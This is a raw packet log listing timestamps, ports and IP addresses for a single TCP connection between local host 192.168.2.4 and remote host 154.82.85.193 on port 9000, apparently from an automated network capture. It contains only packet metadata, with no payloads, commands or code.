Jul 27, 2024 16:50:03.315820932 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.315853119 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.315870047 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.315885067 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.315917015 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.315933943 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.315949917 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.315983057 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.315999985 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.316015005 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316056967 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316067934 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.316087961 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316108942 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.316123009 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316147089 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.316159010 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316191912 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316210985 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.316224098 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316246986 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.316257000 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316265106 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.316288948 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316291094 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.316291094 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.316324949 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316339970 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.316359997 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316392899 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316410065 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.316426039 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316461086 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316472054 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.316525936 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316560030 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316584110 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.316592932 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316627026 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316648960 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.316659927 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316694021 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316710949 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.316726923 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316759109 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316777945 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.316791058 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316823959 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316843987 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.316858053 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316890955 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316906929 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.316922903 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316956043 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.316973925 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.316983938 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.317038059 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.521277905 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.521348953 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.521394014 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.521442890 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.521460056 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.521497965 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.521522999 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.521536112 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.521588087 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.521589041 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.521621943 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.521672964 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.521675110 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.521723986 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.521760941 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.521786928 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.521810055 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.521861076 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.521862030 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.521893978 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.521929026 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.521946907 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.521980047 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522034883 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.522034883 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522067070 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522099972 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522116899 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.522150040 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522182941 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522200108 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.522233963 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522267103 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522285938 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.522320032 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522371054 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522371054 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.522413015 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522442102 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522455931 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.522494078 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522547960 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522552013 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.522598028 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522633076 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522651911 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.522664070 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522696972 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522708893 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.522731066 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522783041 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.522784948 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522835970 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522886038 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522886992 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.522917986 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522952080 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.522969961 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.522984028 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523016930 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523036003 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.523070097 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523102045 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523118973 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.523134947 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523169994 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523184061 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.523221970 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523255110 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523274899 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.523287058 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523339987 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523355007 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.523372889 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523406982 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523420095 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.523442030 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523475885 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523494005 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.523510933 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523545980 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523557901 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.523577929 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523624897 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.523633003 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523665905 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523716927 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523741007 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.523766994 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523799896 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523832083 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523833990 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.523885965 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.523893118 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523926973 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523958921 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523991108 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.523994923 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.524024963 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524050951 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.524059057 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524092913 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524113894 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.524126053 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524158955 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524182081 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.524190903 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524224997 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524255037 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524257898 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.524288893 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524311066 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.524322987 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524357080 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524377108 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.524389982 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524424076 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524447918 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.524456978 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524525881 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524528027 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.524563074 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524597883 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524620056 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.524631023 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524665117 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524687052 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.524698019 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524732113 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524755001 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.524765015 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524799109 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524822950 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.524833918 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524867058 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524888039 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.524899960 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524934053 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.524954081 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.524966955 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.525001049 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.525022984 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.525033951 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.525067091 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.525089025 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.525099039 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.525131941 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.525150061 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.525163889 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.525198936 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.525218964 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.525228977 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.525262117 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.525279999 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.525295973 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.525327921 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.525348902 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.525361061 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.525393963 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.525422096 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.525427103 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.525460958 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.525484085 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.525495052 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.525527000 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.525549889 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.525561094 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.525593042 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.525625944 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.525626898 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.525660992 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.525681973 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.575233936 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.611855984 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.611905098 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.611942053 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.611957073 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.612006903 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612059116 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612063885 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.612111092 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612145901 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612164974 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.612178087 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612230062 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.612231016 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612265110 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612298965 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612314939 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.612333059 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612365961 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612379074 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.612402916 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612436056 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612453938 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.612468004 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612526894 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.612536907 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612575054 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612607956 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612621069 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.612648010 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612682104 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612700939 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.612715006 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612747908 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612768888 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.612782001 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612817049 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612838030 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.612850904 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612884998 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612899065 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.612919092 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612950087 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.612967968 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.612983942 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.613017082 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.613033056 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.613051891 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.613085032 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.613102913 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.613118887 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.613152027 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.613167048 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.613184929 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.613219023 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.613235950 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.613256931 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.613308907 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.730882883 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.730937004 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.730969906 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731003046 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731019974 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731034994 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731051922 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731066942 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731082916 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731120110 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731136084 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731167078 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731199980 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731231928 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731264114 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731293917 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.731313944 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731350899 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731364012 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.731384993 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731417894 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731434107 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.731451988 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731487036 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731519938 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731553078 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731585026 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731617928 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731650114 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731683969 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731688023 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.731688023 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.731688976 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.731715918 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731751919 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731758118 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.731785059 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 16:50:03.731795073 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:50:03.731817961 CEST	9000	49742	154.82.85.193	192.168.2.4
